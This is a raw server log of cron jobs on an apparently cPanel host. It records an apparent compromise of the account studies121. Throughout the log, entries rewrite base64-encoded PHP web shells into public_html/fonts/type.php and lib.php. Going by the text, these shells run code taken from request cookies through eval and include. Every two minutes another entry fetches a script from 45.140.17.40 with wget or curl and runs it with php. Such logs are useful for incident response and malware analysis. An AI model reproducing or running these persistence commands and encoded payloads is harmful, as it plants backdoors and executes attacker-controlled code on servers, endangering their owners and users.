Sep 22 00:26:01 ip-184-168-122-23 CROND[11659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:26:01 ip-184-168-122-23 CROND[11661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:26:01 ip-184-168-122-23 CROND[11662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:26:01 ip-184-168-122-23 CROND[11665]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:26:01 ip-184-168-122-23 CROND[11666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:27:01 ip-184-168-122-23 CROND[11765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:27:01 ip-184-168-122-23 CROND[11768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:27:01 ip-184-168-122-23 CROND[11770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:27:01 ip-184-168-122-23 CROND[11771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:28:01 ip-184-168-122-23 CROND[11865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:28:01 ip-184-168-122-23 CROND[11866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:28:01 ip-184-168-122-23 CROND[11870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:28:01 ip-184-168-122-23 CROND[11868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:28:01 ip-184-168-122-23 CROND[11869]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:29:01 ip-184-168-122-23 CROND[11972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:29:01 ip-184-168-122-23 CROND[11975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:29:01 ip-184-168-122-23 CROND[11976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:29:01 ip-184-168-122-23 CROND[11977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:30:01 ip-184-168-122-23 CROND[12099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:30:01 ip-184-168-122-23 CROND[12101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:30:01 ip-184-168-122-23 CROND[12103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:30:01 ip-184-168-122-23 CROND[12104]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 22 00:30:01 ip-184-168-122-23 CROND[12106]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 00:30:01 ip-184-168-122-23 CROND[12105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 00:30:01 ip-184-168-122-23 CROND[12107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:30:01 ip-184-168-122-23 CROND[12108]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 00:30:01 ip-184-168-122-23 CROND[12110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:31:01 ip-184-168-122-23 CROND[12282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:31:01 ip-184-168-122-23 CROND[12283]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 00:31:01 ip-184-168-122-23 CROND[12285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:31:01 ip-184-168-122-23 CROND[12289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:31:01 ip-184-168-122-23 CROND[12288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:32:01 ip-184-168-122-23 CROND[12480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:32:01 ip-184-168-122-23 CROND[12481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:32:01 ip-184-168-122-23 CROND[12482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:32:01 ip-184-168-122-23 CROND[12484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:32:01 ip-184-168-122-23 CROND[12483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:33:01 ip-184-168-122-23 CROND[12585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:33:01 ip-184-168-122-23 CROND[12586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:33:01 ip-184-168-122-23 CROND[12589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:33:01 ip-184-168-122-23 CROND[12588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:34:01 ip-184-168-122-23 CROND[12717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:34:01 ip-184-168-122-23 CROND[12719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:34:01 ip-184-168-122-23 CROND[12720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:34:01 ip-184-168-122-23 CROND[12722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:34:01 ip-184-168-122-23 CROND[12721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:35:01 ip-184-168-122-23 CROND[12834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:35:01 ip-184-168-122-23 CROND[12835]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 00:35:01 ip-184-168-122-23 CROND[12837]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 00:35:01 ip-184-168-122-23 CROND[12838]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 00:35:01 ip-184-168-122-23 CROND[12841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:35:01 ip-184-168-122-23 CROND[12843]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 00:35:01 ip-184-168-122-23 CROND[12840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:35:01 ip-184-168-122-23 CROND[12842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:36:01 ip-184-168-122-23 CROND[13075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:36:01 ip-184-168-122-23 CROND[13078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:36:01 ip-184-168-122-23 CROND[13079]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:36:01 ip-184-168-122-23 CROND[13080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:36:01 ip-184-168-122-23 CROND[13076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:37:01 ip-184-168-122-23 CROND[13183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:37:01 ip-184-168-122-23 CROND[13186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:37:01 ip-184-168-122-23 CROND[13187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:37:01 ip-184-168-122-23 CROND[13185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:38:01 ip-184-168-122-23 CROND[13378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:38:01 ip-184-168-122-23 CROND[13380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
